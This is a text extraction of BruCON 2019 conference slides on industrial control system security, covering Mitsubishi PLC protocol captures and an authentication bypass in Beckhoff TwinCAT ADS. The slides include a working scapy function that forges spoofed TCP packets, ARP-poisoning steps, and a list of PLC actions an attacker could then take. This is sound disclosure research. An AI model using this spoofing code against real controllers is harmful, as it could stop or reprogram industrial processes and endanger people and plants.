

# **BruCON 0x0B Engineers At Risk**



**ARTIFICIAL INTELLIGENCE** 

**BLOCKCHAIN** 

**CYBER SECURITY** 

EDUCATION - RESEARCH - CONSULTING

Ing. Tijl Deneut Ing. Tinus Umans

# Who am I?

#### Tijl Deneut

- Researcher and lecturer at Howest University College
  - Applied Computer Sciences, Computer and Cyber Crime Professional
  - Researcher Ghent University campus Kortrijk
- Ethical Hacker
- Background in IT security, using this perspective on Industrial Control Systems

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- Co worker on this project: Tinus Umans
  - Engineer Industrial Automation
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C4 INDUSTRIAL CONTROL & COMMUNICATION COMPETENCE CENTER | HOWEST - UGENT



Oktober 10th, 2019

#### **C**4 INDUSTRIAL CONTROL & COMMUNICATION COMPETENCE CENTER | HOWEST – UGENT



XiaK research group Experts in industrial automation



Security & Privacy research group Experts in cyber security, blockchain & Al

### So what are "Industrial Control Systems"

"An ICS is a broad class of command and control networks and systems that are used to support all types of industrial processes."

They include a **variety of system types** including:

- Supervisory Control And Data Acquisition (SCADA) systems,
- Distributed Control Systems (DCS),
- Process Control Systems (PCS),
- Safety Instrumented Systems (SIS),
- smaller control systems configurations such as Programmable Logic Controllers (PLC's).



The term "OT" is actually never used on the factory floor. It is only used by IT people to distinguish themselves ...



#### Where can I find ICS systems?






#### How does that look like?


Office

Industrial Control Systems





### What's inside?






#### And what's the big deal?

Several migrations have happened over time:

- ± 15 years ago: all systems still used fieldbus protocols
  - There was a movement to Ethernet based protocols
- ± 10 years ago: networking became abundant, everything started to become intra connected
  - Engineers / operators / managers connecting to their **production** devices from everywhere in the company
- ±5 years ago: the age of IoT, Big Data and Industry 4.0
  - Engineers / operators / managers want to monitor, manage and connect to their production devices from at home

And all this using protocols that were developed +40 years ago and have zero support for security, authentication, encryption ...








#### And what's the big deal?

what can go wrong?



#### Incidents are on the rise



A Cyberattack in Saudi Arabia Had a Deadly Goal. Experts Fear Another Try.

## Weakest links


- 1. Network and network components
- 2. Unhardened systems
- 3. Passwords
- 4. Shared accounts
- 5. Administrative accounts
- 6. Employees

#	Subcategory Discovery	Areas Where Weakness Discovered	% of Total Findings
1	SC-7 Boundary Protection	Network segmentation, network monitoring, and isolation of critical or sensitive network components	13.3%
2	CM-7 Least Functionality	Hardening systems and the use of whitelis- ting	7.2%
3	IA-5 Authenticator Management	Password protection and management	4.2%
4	IA-2 Identification and Authentication (Organizational Users)	Shared accounts, use of two factor authenti- cation for remote access	3.9%
5	AC-6 Least Privilege	Administrative accounts, accounts with unnecessary privileges	3.6%
6	SA-2 Allocation of Resources	Staffing, lack of resources, excessive over- time of existing staff	3.6%
7	AU-6 Audit Review, Analysis, and Report- ing	Logging and analysis	3.5%
8	PE-3 Physical Access Control	Securing physical sites	3.0%
9	SI-2 Flaw Remediation	Patching	3.0%
10	CM-4 Security Impact Analysis	Risk and Impact Analysis	3.0%
11	AT-2 Security Awareness Training	General cybersecurity awareness training	2.7%
12	CP-9 Information System Backup	System Backups	2.7%
13	CM-6 Configuration Settings	Baseline configurations, documentation of network	2.5%
14	AT-3 Role-Based Security Training	Role-based training of cybersecurity	2.4%
15	CM-3 Configuration Change Control	Change management processes, ensuring the right staff are included in change processes	2.2%
16	SA-8 Security Engineering Principles	Addressing obsolete systems, system life-cy- cle plans	2.0%
17	AC-17 Remote Access	Remote access policies and plans	1.7%
18	SC-8 Transmission Confidentiality and Integrity	Plain-text transmissions of sensitive material	1.7%
19	AC-2 Account Management	Centralized account management in moder- ate to large systems, processes to handle/ manage user accounts	1.6%
20	SA-4 Acquisition Process	Contract language that doesn't include security provisions.	1.6%

Source: ICS-CERT.US-CERT.gov

# Main sources of infiltrations/infections

- 1. Hackers
- 2. Employees
- 3. Unknown sources
- 4. (H)Activists
- 5. Organized Crime
- 6. Suppliers





#### An example: Mitsubishi Protocol Analysis

Mitsubishi FX	5U PLC CPU			
RS-stocknr.: 875-5672	Fabrikantnummer: FX5U-32M	R-ES Fabrikant: Mitsubishi		
The second s			V 11 op voorraad	- levertijd is 1 werkdag(en).
			Prijs Each 853,45 € (excl. BTW)	<b>1.032,67 €</b> (incl. BTW)
	CARD RS-485 RD SD LAN SD/RD	JEICSHI IN 0 1 2 3 4 5 6 7 TR9C 10 11 12 13 14 15 16 17 PWR	Aantal stuks	Per stuk
	TORASE-TY TOORASE-TX	ERR P.RUN BAT FX5U-32M	1+	853,45 €
	MELSER Trobart	OUT 0 1 2 3 4 5 6 7 10 11 12 13 14 15 16 17	1  ▲ Aanta Voorraad checken	al stuks Bestellen
		and the second se		onderdelenlijst

#### Programming a Mitsubishi PLC

📕 D	ownloadProjectToPL	CFromGXWorks3.pcapng				>	×
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No.	Time	Source	Destination	Protocol Length I	nfo		-
	1 0.000000	10.20.0.64	255.255.255.255	UDP 46 5	8288 → 5560 Len=4		
	2 0.000009	10.20.0.64	255.255.255.255	UDP 46 5	8288 → 5560 Len=4		
	3 0.002352	192.168.3.250	255.255.255.255	UDP 60 5	560 → 58288 Len=14		
	4 0.340776	10.20.0.64	255.255.255.255	UDP 46 5	8289 → 5560 Len=4		
	5 0.340784	10.20.0.64	255.255.255.255	UDP 46 5	8289 → 5560 Len=4		
	6 0.342081	192.168.3.250	255.255.255.255	UDP 70 5	560 → 58289 Len=28		
	7 0.342951	10.20.0.64	255.255.255.255	UDP 95 5	8290 → 5560 Len=53		
	8 0.342989	10.20.0.64	255.255.255.255	UDP 95 5	8290 → 5560 Len=53		
	9 0.344379	192.168.3.250	255.255.255.255		560 → 58290 Len=77		
	10 0.344831	10.20.0.64	255.255.255.255		8291 → 5560 Len=56		
	11 0.344836	10.20.0.64	255.255.255.255	UDP 98 5	8291 → 5560 Len=56		
<						>	
> Et > In > Us	chernet II, Src: Internet Protocol Ger Datagram Prot Inta (77 bytes)	Mitsubis_28:4f:08 (1 Version 4, Src: 192. cocol, Src Port: 5560	119 bytes captured (9 0:4b:46:28:4f:08), Dst 168.3.250, Dst: 255.25 0, Dst Port: 58290	:: Broadcast (ff:f			
<b>0000</b> 0010 0020	00 69 06 9d 00 ff ff 15 b8 e3	ff 10 4b 46 28 4f 00 40 11 af 45 c0 b2 00 55 0f 16 d7 a8 03 00 ff ff 03	a8 03 fa ff ff •i••• 01 00 00 00 11 •••••	···K F(0···E· ·@··E·····			
0030	-	oPLCFromGXWorks3.pcapng	00 00 00 00 00		Packets: 843 · Displayed: 84		



#### **Scanning for Mitsubishi PLCs**

	MitsubishiBroadcastFX5CPUGXWorks3PlusResponse.pcapng						×
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No.	Time	Source	Destination	Protocol Length Info			
	1 0.000000	172.20.0.102	255.255.255.255	UDP 93 5561	→ 5561 Len=51		
	2 0.002131	192.168.3.250	255.255.255.255	UDP 151 5561	→ 5561 Len=109		
<							>
		on wire (744 bits), 93		· ·			
		Vmware_13:0c:7a (00:0c Version 4, Src: 172.20			T:TT:TT)		
		ocol, Src Port: 5561,	-	233.233			
	ata (51 bytes)	,,,					
		01111070000ffff030000f	e0300001e001c0a16				
	[Length: 51]						
000	ff ff ff ff ff	ff 00 0c 29 13 0c 7a	08 00 45 00	·· )··z··E·			~
0010		00 80 11 86 5c ac 14		·· · · · · · · · · · · ·			
		b9 00 3b 7a 18 57 01		•; z·W·····			
0030		ff 03 00 00 fe 03 00					×
$\circ$	MitsubishiBroadcas	stFX5CPUGXWorks3PlusResponse	e.pcapng		Packets: 2 · Displayed: 2 (100.0%)	Profile: Defa	ult 🔚



#### **Broadcasts? But why?**

Many protocols have been created with the ease of the engineers in mind:

- Sending all packets to 255.255.255.255 / FF:FF:FF:FF:FF:FF is easy to use because the workstation and PLC do **not** have to be in the same subnet to be able to communicate to each other
  - So this protocol works "Out-Of-The-Box"
  - So there is no need to have a valid IP address on your computer, easy right?

- Unfortunately this also means that all traffic is being delivered to every other device in the network
  - Problem anyone?
- Please note: once the workstation and PLC are in the same subnet, TCP is used and a more "regular" way of communicating occurs

## **Normal protocol**

		<b>_</b>											~
	Aitsu-Connect+Send-	RUN.pcapng									_		×
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No.	Time	Source	Destination	Protocol	Length 1	Info							
	1 0.000000	192.168.3.123	192.168.3.250	ICMP	52	Echo (	(ping) ı	request	id=0x00	01, seq=	357/258	57, ttl=	
	2 0.000293	192.168.3.250	192.168.3.123	ICMP	60	Echo (	(ping) ı	reply	id=0x00	01, seq=	357/258	57, ttl=	
	3 0.001085	192.168.3.123	192.168.3.250	TCP	66 4	49543	→ 5562	[SYN]	Seq=0 Win	=8192 Le	en=0 MSS	=1460 WS	
	4 0.001445	192.168.3.250	192.168.3.123	TCP				-	ACK] Seq=				
	5 0.001605	192.168.3.123	192.168.3.250	TCP					Seq=1 Ack				
1	6 0.002560	192.168.3.123	192.168.3.250	TCP				-	ACK] Seq=				
	7 0.003258	192.168.3.250	192.168.3.123	TCP				-	ACK] Seq=				
	8 0.004363	192.168.3.123	192.168.3.250	TCP				-	ACK] Seq=				
	9 0.005323	192.168.3.250	192.168.3.123	TCP				-	ACK] Seq=				
	10 0.006165	192.168.3.123	192.168.3.250	TCP				-	ACK] Seq=				
	11 0.007346	192.168.3.250	192.168.3.123	TCP	151	5562 →	+ 49543	[PSH,	ACK] Seq=	106 Ack=	-114 Win	=5680 Le	
<												>	
> Et > Ir	thernet II, Src: nternet Protocol	Mitsubis_28:4f:08 (1 Version 4, Src: 192.	122 bytes captured (9 0:4b:46:28:4f:08), Dst 168.3.250, Dst: 192.16	: Vmware_ 8.3.123	13:0c:7a	a (00:	0c:29:1	.3:0c:7	a)				
		ol Protocol, Src Por	t: 5562, Dst Port: 495	43, Seq:	1, Ack:	5, Le	n: 28						
✓ Da	ata (28 bytes)												
		14a0c000000000000000000	200T0a832a34d798728										
	[Length: 28]												
0000	00 0c 29 13 0c	7a 10 4b 46 28 4f	08 08 00 45 00 ···)··:	z·K F(0··	·E·								
0010	00 6c 0e e1 00	00 40 <mark>06</mark> e2 e5 c0 a	a8 03 fac0 a8 ·1···	·@ <mark>·</mark> · · · · ·									
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0030		00 00 00 00 00 00 00	00 00 00 00 00 ·0U··										
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
17



#### **Creating scripts**

Conclusion: access to the network is game over for these PLC's

#### Mitsubishi PLC Software is called "GX Works"



#### Other general issue: limited OS support

R	Rockwell Automation Compability	RSLogix 5000	RSLogix 5000	RSLogix 5000	RSLogix 5000	Studio 5000 Logix Designer
	2019	14.01.00	18.02.00	19.01.01	20.01.01	21.03.02
Li	Windows 7 Enterprise SP1 32-bit		8			
W	Windows 7 Enterprise SP1 64-bit		8			
W	Windows 7 Home Premium (32-bit)		8			
W	Windows 7 Home Premium (64-bit)		8			
W	Windows 7 Home Premium SP1 32-bit					
W	Windows 7 Home Premium SP1 64-bit					
W	Windows 7 Professional (32-bit)		8			
W	Windows 7 Professional (64-bit)		8			
W	Windows 7 Professional SP1 (32-bit)		8			
W	Windows 7 Professional SP1 (64-bit)		8			
W	Windows 7 Ultimate SP1 32-bit					
W	Windows 7 Ultimate SP1 64-bit					
W	Windows 8 (home) 32-Bit		8	8	8	
W	Windows 8 (home) 64-Bit		8	8	8	
W	Windows 8 Enterprise 32-Bit		8	8	8	
W	Windows 8 Enterprise 64-Bit		8	8	8	
w	Windows 8 Professional 32-Bit		8	8	8	
W	Windows 8 Professional 64-Bit		8	8	8	
W	Windows 8.1 Enterprise 32-Bit		8	8	8	
W	Windows 8.1 Enterprise 64-Bit		8	8	8	
W	Windows 8.1 Professional 32-Bit		8	8	8	
W	Windows 8.1 Professional 64-Bit		8	8	8	
W	Windows Vista Business (32-bit)					
W	Windows XP Pro (32-bit)		8	8	8	8
W	Windows XP Pro SP1 (32-bit)		8	8	8	8
W	Windows XP Pro SP2 (32-bit)		8	8	8	8
W	Windows XP Pro SP3 (32-bit)					8



### So what if: a PLC vendor tries really hard

There is one vendor (that I know of), that does things entirely differently:

- This vendor uses off the shelf Operating Systems for PLC's
  - Windows all the way (albeit sometimes WinCE or Embedded versions)
- This vendor even calls its controllers Industrial Personal Computers (IPC) or Embedded PC's
  - They technically do not sell PLCs but do refer to the software as PLC software
- Almost all their devices have DVI/HDMI, USB, Compact Flash (or CFAST), Ethernet from the very beginning
- They stick with mostly known protocols like EtherCat, RDP, ADS that are not only known by Wireshark but also very well described in their online <u>InfoSys website</u>




## Security?

And foremost: this vendor has implemented programming and access security **from the beginning** of their controller product line

- Mostly based on Windows security, which has its pros and cons
  - E.g. until today, all passwords are stored in Windows environments
- But they also implement their very own security implementation to allow communication








### Didn't you already mentioned this?

Yes, last year, a vulnerability on authentication bypass for de Remote Display service on **Windows CE** was shown. Windows CE is still being used on their cheapest devices.





### So what's next?

We decided to take them at their word and actually look at:

The security of running the newest version of Beckhoff software on the newest possible version of Windows.


Let's perform a deep dive: -> How does the built-in security work? -> How can we play with this?

 $\rightarrow$  Research & development in conjunction with Tinus Umans



#### So what software does a Beckhoff engineer use?

- Beckhoff uses Windows Operating Systems on their controllers
- Engineers use Microsoft Visual Studio as the default programming environment
- The only thing Engineers have to do to start programming controllers is install the **TwinCAT 3 eXtended Automation Engineering** software
- It is free to download at <u>www.beckhoff.com/twincat3</u> and the most recent version is 3.1.4024.0 (build date 2019-07-24)





### What is this Beckhoff security-by-design?

TwinCAT 3 within Visual Studio supports the IEC 61131-3 standard: Ladder, Function Block Diagram, Structured Text, ...

However: Beckhoff control & programming communication security is done by using **TwinCAT Routes** 

- TwinCAT Routes have nothing to do with IP routes
- A TwinCAT route defines that a device (being it a controller, laptop, HMI, I/O ...) is allowed to respond to any questions (on port TCP/48898)
- TwinCAT routes are required on each device that is supposed to communicate with any other device



#### Examples TwinCAT Static Routes - X Address Comment AmsNetId Type Route PLC 5.25.133.31.1.1 10.20.1.10 TCP\_IP HMI TCP\_IP 5.35.18.112.1.1 10.20.1.11 Device Manager X + CÔ $\leftarrow$ $\rightarrow$ ... 🖂 🗢 (i) - cx-19851f:5120/UpnpWebsite/index.htm 다. BECKHOFF Device Manager ← → Connectivity 胀 System ID E725F50B-82E6-FE6B-84DE-FF560BA4E451 AMS Net ID 5.25.133.31.1.1 2 TwinCAT Routes Connectivity × #1 CP-231270 AMS Net ID 5.35.18.112.1.1 Add.... Remove Transport Type TCP\_IP r@ 10.20.1.11 Address Connection Timeout (ms) 0 Software Flags Static, IP Address €}} × #2 USER-PC AMS Net ID 10.20.1.148.1.1 TwinCAT Transport Type TCP\_IP 10.20.1.148 Address Connection Timeout (ms) 0 Static, IP Address Flags

Protocols										
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	12 0.605646	172.20.0.50	172.20.1.10	AMS	104 AMS Re					
	13 0.606658	172.20.1.10	172.20.0.50	AMS	104 AMS Re					
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	> Transmission Cont		ort: 1066, Dst Port: 4		201, Ack: 213	, Len: 62				
<b>.</b> .	✓ AMS AMS Target Net	Id: 5.25.133.31.1.	1							
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	AMS Sender Net	Id: 172.16.1.32.1.	1							
	AMS Sender por									
	CmdId: ADS Rea									
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	RequestLicenseS	tatusHMI.pcapng				Packets: 212 · Displayed: 212 (100.0%)	Profile: Default			

#### **Discovery**? ScanAndAddRemoteRoute.pcapng × <u>Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help</u> Just li File S ९ 🗢 🕾 🗿 🕹 📑 🗉 ९ ९ ९ 💵 XC This hation Expression... + Apply a display filter ... <Ctrl-/> Length Info Time Source Destination Protocol No. Discl 192.168.50.130 1 0.000000 255.255.255.255 UDP 66 43342 → 48899 Len=24 2 0.000504 192.168.50.153 192.168.50.130 UDP 369 48899 → 43342 Len=327 138 56704 → 48899 Len=96 3 9,993025 192.168.50.130 192.168.50.153 UDP 4 10.041574 192.168.50.153 192.168.50.130 UDP 74 48899 → 56704 Len=32 $\rightarrow \iota$ > Frame 3: 138 bytes on wire (1104 bits), 138 bytes captured (1104 bits) on interface 0 Ethernet II, Src: Vmware 37:df:f6 (00:0c:29:37:df:f6), Dst: Vmware\_32:f6:83 (00:0c:29:32:f6:83) Addi Internet Protocol Version 4, Src: 192.168.50.130, Dst: 192.168.50.153 User Datagram Protocol, Src Port: 56704, Dst Port: 48899 > Data (96 bytes) Data: 03661471000000000600000c0a832820101102705000000. $\rightarrow$ Is [Length: 96] 0000 00 0c 29 32 f6 83 00 0c 29 37 df f6 08 00 45 00 ··)2····)7····E· $\rightarrow A$ 00 7c e4 a1 40 00 40 11 6f 63 c0 a8 32 82 c0 a8 0010 · · · · @ · @ · oc · · 2 · · · D 32 99 dd 80 bf 03 00 68 9b 00 03 66 14 71 00 00 0020 2 · · · · · h · · · · f · a · 00 00 06 00 00 00 c0 a8 32 82 01 01 10 27 05 00 0030 00 00 0c 00 08 00 6b 61 6c 69 4f 6e 43 00 07 00 0040 ·····ka liOnC·· 0050 06 00 c0 a8 32 82 01 01 0d 00 0e 00 41 64 6d 69 ••••2••••••Adm 6e 69 73 74 72 61 74 6f 72 00 02 00 09 00 70 61 nistrato r····pa 0060 ssword·· ···192.1 73 73 77 6f 72 64 00 05 00 0f 00 31 39 32 2e 31 0070 36 38 2e 35 30 2e 31 33 30 00 68.50.13 0. 0080 Data (data.data), 96 bytes Packets: 4 · Displayed: 4 (100.0%) Profile: Default

DEMO



### So, security?

So as it turns out: the **only** security measure for ADS communication is the IP adres that is in the list of Routes ...

 $\rightarrow$  So can we bypass a restriction that is based purely on source IP Address?

#### Solution: IP Spoofing

By sending packets coming from different IP addresses we can "discover" the possible routes that are present.

Done in two parts:

- 1. ARP Poison
- 2. ADS Verification packet



#### **1. ARP Poisoning? What's that.**

Problem: if a response is triggered coming from a certain IP address, that response will be sent to the device that actually has that IP address. (e.g. by performing an ARP request for that device).

So we need to tell the target our MAC address for that specific IP address -> This is called "ARP Spoofing"



#### 2. Sending a single ADS packet

This too has to be "spoofed", so using a fake IP address as a source for this packet

```
def spoofTCPPacket(oSrcAdapter, sSrcIP, sTargetIP, iDPort, dPacket):
     # SYN
      sport=random.randint(1024, 65535)
     ip=scapy.IP(src=sSrcIP,dst=sTargetIP)
     SYN=scapy.TCP(sport=sport,dport=iDPort,flags='S',seq=1000)
     SYNACK=scapy.srl(ip/SYN, timeout=iTIMEOUT)
     if SYNACK is None: return SYNACK ## No SYN/ACK back, ARP Spoofing problem or port not open
     # ACK
     ACK=scapy.TCP(sport=sport, dport=iDPort, flags='A', seq=SYNACK.ack, ack=SYNACK.seq + 1)
     scapy.send(ip/ACK)
     # TCP DATA
     scapv.conf.verb = 0
     oIP=scapy.IP(src=sSrcIP,dst=sTargetIP)
     oTCP=scapy.TCP(sport=sport, dport=iDPort, flags='PA', seq=SYNACK.ack, ack=SYNACK.seq + 1)
     oRAW=scapy.Raw(load=dPacket)
     oResp = scapy.srl(oIP/oTCP/oRAW, timeout=iTIMEOUT)
     # FIN
     FINACK = None
     if not oResp is None:
         FIN=scapy.TCP(sport=sport, dport=iDPort, flags='FA', seq=oResp.ack, ack=oResp.seq + 1)
         FINACK=scapy.srl(ip/FIN, timeout=iTIMEOUT)
     if not FINACK is None:
         LASTACK=scapy.TCP(sport=sport, dport=iDPort, flags='A', seq=FINACK.ack, ack=FINACK.seq + 1)
         scapy.send(ip/LASTACK)
      return oResp
```



#### I want to see that in action, please?

OK



#### Wait? What was that?

- Yes! As it turns out: once we have a route installed, default ADS communication is possible.
- We are now essentially a different ADS device: an IPC, an engineering PC, an HMI ...

- TwinCAT ADS is a language that is defined by Function Blocks, to perform actions on devices.
- Examples of those actions are
  - Reading out variables
  - Setting outputs and inputs
  - Setting the Controller state to Stop, Run or Config mode
  - (Re)Programming the internal project
  - And adding routes without any additional authentication
  - ... And as it turns out: a lot more ...

### More ADS actions?

There is a website for that:

https://infosys.beckhoff.com/english.php?content=../content/1033/tcpldib tc2 utilities/9007199289758859.html&id=

BECKHOFF New Auton	nation Technology	Beckhoff I	nform	nation Syste	em		
[Select language] 🛛 🗠	Home	Contact	www.beckhoff.com	email this page		Search	
<ul> <li>Localizing the PLC project</li> <li>Programming a PLC project</li> <li>Transfer PLC project to the PI</li> <li>Testing a PLC project and trouting</li> <li>PLC project at runtime</li> <li>Updating the PLC project on t</li> <li>Using a stand-alone PLC proj</li> <li>Using libraries</li> <li>Multi-task data access synchr</li> <li>Creating a visualization</li> <li>Reference Programming</li> <li>Reference User Interface</li> <li>Libraries</li> <li>Intro</li> <li>TwinCAT 3 PLC Lib: Tc2_</li> <li>TwinCAT 3 PLC Lib: Tc2_</li> <li>TwinCAT 3 PLC Lib: Tc2_</li> </ul>	LC ubleshooting he PLC ect onization in the PLC Coupler DataExchange Drive	TwinCAT 3 PLC Lib: Tc2 Function block Additional information • BCD TO DEC • DCF77 TIME • DCF77 TIME EX • DEC TO BCD • FB AdsReadEvent	2_Utilities (S 1	email this page		Search	
<ul> <li>TwinCAT 3 PLC Lib: Tc2_</li> </ul>	IoFunctions Math MC2 MC2_AdvancedHoming MC2_Drive MDP (IPC diagnostics) NcDrive Standard SUPS SystemCX	FB AmsLogger     FB BasicPID     FB CheckLicense     FB CSVMemBuffe     FB CSVMemBuffe     FB EnumFindFileE     FB EnumFindFileE     FB EnumFindFileE	rWriter Intry Ist				

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### Want to go further?

There is a website for that:

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https://infosys.beckhoff.com/english.php?content=../content/1033/tcpldib tc2 utilities/9007199289758859.html&id=

			Beckhoff Info	rmation System
[Select language] Y Home	Contact	www.beckhoff.com	email this page	☑ Search
<ul> <li>TwinCAT 3 PLC Lib: Tc2_Standard</li> <li>TwinCAT 3 PLC Lib: Tc2_SUPS</li> <li>TwinCAT 3 PLC Lib: Tc2_SystemCX</li> <li>TwinCAT 3 PLC Lib: Tc2_System</li> <li>TwinCAT 3 PLC Lib: Tc2_SystemC69xx</li> <li>TwinCAT 3 PLC Lib: Tc2_Utilities</li> <li>Foreword</li> <li>Overview</li> <li>Function blocks</li> <li>BCD_TO_DEC</li> <li>DCF77_TIME</li> <li>DCCF77_TIME_EX</li> <li>DEC_TO_BCD</li> <li>FB_AdsReadEvents</li> <li>FB_AddRouteEntry</li> <li>FB_AddRouteEntry</li> <li>FB_CheckLicense</li> <li>FB_CSVMemBufferReader</li> <li>FB_CSVMemBufferWriter</li> <li>FB_EnumFindFileEntry</li> <li>FB_EnumFindFileEntry</li> <li>FB_EnumFindFileEntry</li> <li>FB_EnumFindFileEntry</li> <li>FB_EnumFindFileList</li> <li>FB_EnumFindFileList</li> <li>FB_EnumFindFileList</li> <li>FB_EnumStringNumbers</li> <li>FB_FileFineTimeToTzSpecificLocalTime</li> </ul>	FB WritePersistent     GetRemotePCInfo     NT_AbortShutdown     NT_GetTime     NT_GetTime     NT_SetLocalTime     NT_SetLocalTime     NT_SetTimeToRTC     NT_StartProcess     PLC_ReadSymInfo     PLC_ReadSymInfo     PLC_ReadSymInfo     PLC_Reset     PLC_Start     PLC_Stop     Profiler	Time ByName		

Oktober 10th, 2019



#### A little bonus

We can use this to bypass a Kiosk System too

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## Conclusion

The prerequisites for this attack:

- Engineering system (e.g. laptop) used to program a Beckhoff Device (IPC/HMI/...)
- Has the TwinCAT Runtime installed
  - Which is a requirement when programming with Beckhoff
- Ports open in Firewall (UDP/48899 or TCP/48898)
  - Which is necessary to add remote routes
    - $\rightarrow$  To add a route from an IPC to a workstation, the ports above **must** be open!! (for some reason)
  - No longer necessary once the remote routes are added
- At least one route configured
  - Which is required to communicate with remote devices

Scripts on our Github soon, together with an extensive article Big thanks to Tinus Umans for co-writing the scripts



#### Are there solutions

#### Euh ...

- Use a Virtual Machine for running Twincat
- Configure Firewalls
- And the official response from the Beckhoff Product-Security CERT:

"Please refer to Advisory 2017-001"



#### **Official Solution**

Beckhoff Security Advisory

## BECKHOFF

#### Advisory 2017-001: ADS is only designed for use in protected environments

Publication Date	03/13/2017	Relevance	Medium
Last Update	01/29/2019	Related CVE	CVE-2017-16726
Current Version	1.2		

#### Summary

ADS is only advised to be used in protected environments, and as such does not provide security properties. Attackers can eavesdrop, manipulate and forge arbitrary packets as in any other cleartext protocol. In case ADS access is possible, various system related services can be used.

#### Appearance

TwinCAT 2 / 3

#### Description

Beckhoff TwinCAT supports communication over ADS. ADS is a protocol for industrial automation in protected environments [1]. ADS has not been designed to achieve security purposes and therefore does not include any encryption algorithms because of their negative effect on performance and throughput.



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Cyber Security Solutions for Industry 4.0 Innovative Network Monitoring Systems

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